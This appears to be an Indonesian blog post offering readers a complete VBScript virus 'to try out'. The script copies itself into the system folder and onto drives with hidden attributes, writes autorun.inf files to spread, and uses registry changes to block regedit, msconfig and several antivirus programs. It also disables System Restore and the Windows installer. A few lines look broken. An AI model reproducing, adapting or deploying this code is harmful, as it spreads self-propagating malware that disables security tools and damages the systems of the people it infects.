scrpt virus vbs

Contoh Script Virus .vbs
Script Virus .vbs
Buat temen-temen yang pengin coba-caba bikin virus , ne gw ksi liet contoh scriptnya..Hehehe..Pi inget 1 hal ” Boleh dicoba pi risiko kga nanggung yaww.. ” Mga bermanfaat..ThankZz..
Script Virus ayayya.vbs
—-script begin—-
On error resume next
Dim sidiq,cahya,ganteng,banget,cih,mf,isi,tf,ayaaya,nt,check,sd
[ Isi autorunnya ]
Isi = “[autorun]” & ayayya & “shellexecute=wscript.exe ayaaya.vbs”
Set cih = createobject(”scripting.filesystemobject”)
Set mf = cih.getfile(wscript.scriptfullname)
Dim text,size
Size = mf.size
Check = mf.drive.drivetype
Set text = mf.openastextstream(1,-2)
Do while not text.atendofstream
sidiq = sidiq & text.readline
sidiq = sidiq & ayayya
Loop
Do

[ File Induknya ]
Set ganteng = cih.getspecialfolder(0)
Set cahya = cih.getspecialfolder(1)
Set tf = cih.getfile(cahya & “\ayaaya.vbs”)
Tf.attributes = 32
Set tf = cih.createtextfile(cahya & “\ayaaya.vbs”,2,true)
Tf.write sidiq
Tf.close
Set tf = cih.getfile(cahya & “\ayaaya.vbs”)
Tf.attributes = 39
[ Sebar ke drive ditambahkan dengan autorun.inf ]
For each banget in cih.drives
If (banget.drivetype = 1 or banget.drivetype = 2) and banget.path <> “a:” then
Set tf=cih.getfile(banget.path &”\ayaaya.sys.vbs”)
Tf.attributes =32
Set tf=cih.createtextfile(banget.path &”\ayaaya.vbs”,2,true)
Tf.write sidiq
Tf.close
Set tf=cih.getfile(banget.path &”\ayaaya.vbs”)
Tf.attributes = 39
Set tf =cih.getfile(banget.path &”\autorun.inf”)
Tf.attributes = 32
Set tf=cih.createtextfile(banget.path &”\autorun.inf”,2,true)
Tf.write isi
Tf.close
Set tf = cih.getfile(banget.path &”\autorun.inf”)
Tf.attributes=39
End if
Next
[ Manipulasi registry ]
Set ayaaya = createobject(”wscript.shell”)
Ayaaya.regwrite “hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\msconfig.exe\debugger”,”"
Ayaaya.regwrite “hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\regedit.exe\debugger”,”"
Ayaaya.regwrite “hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\regedt32.exe\debugger”,”"
Ayaaya.regwrite “hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\registryeditor.exe\debugger”,”"
Ayaaya.regwrite “hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\setup.exe\debugger”,”"
Ayaaya.regwrite “hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\avscan.exe\debugger”,”"
Ayaaya.regwrite “hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\avcenter.exe\debugger”,”"
Ayaaya.regwrite “hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\ashavast.exe\debugger”,”"
Ayaaya.regwrite “hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\ansav.exe\debugger”,”"
Ayaaya.regwrite “hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\viremoval.exe\debugger”,”"
Ayaaya.regwrite “hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\viremover.exe\debugger”,”"
Ayaaya.regwrite “hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\pcmav-cln.exe.exe\debugger”,”"
Ayaaya.regwrite”hkey_local_machine\software\microsoft\windows\currentversion\winlogon\legalnoticecaption”, “sidiq cahya ganteng”
Ayaaya.regwrite”hkey_local_machine\software\policies\microsoft\windows\installer\limitsystemrestorecheckpointing”, “1″, “reg_dword”
Ayaaya.regwrite”hkey_local_machine\software\policies\microsoft\windows\installer\disablemsi”, “1″, “reg_dword”
Ayaaya.regwrite “hkey_local_machine\software\policies\microsoft\windows nt\systemrestore\disablesr”, “1″, “reg_dword”
Ayaaya.regwrite “hkey_local_machine\software\policies\microsoft\windowsnt\systemrestore\disableconfig”, “1″, “reg_dword”
If check <> 1 then
Wscript.sleep 1000000
End if
Loop while check <> 1
Set sd = createobject(”wscript.shell”)
Sd.run i & “\explorer.exe /e,/select, ” & wscript.scriptfullname
—–end script—–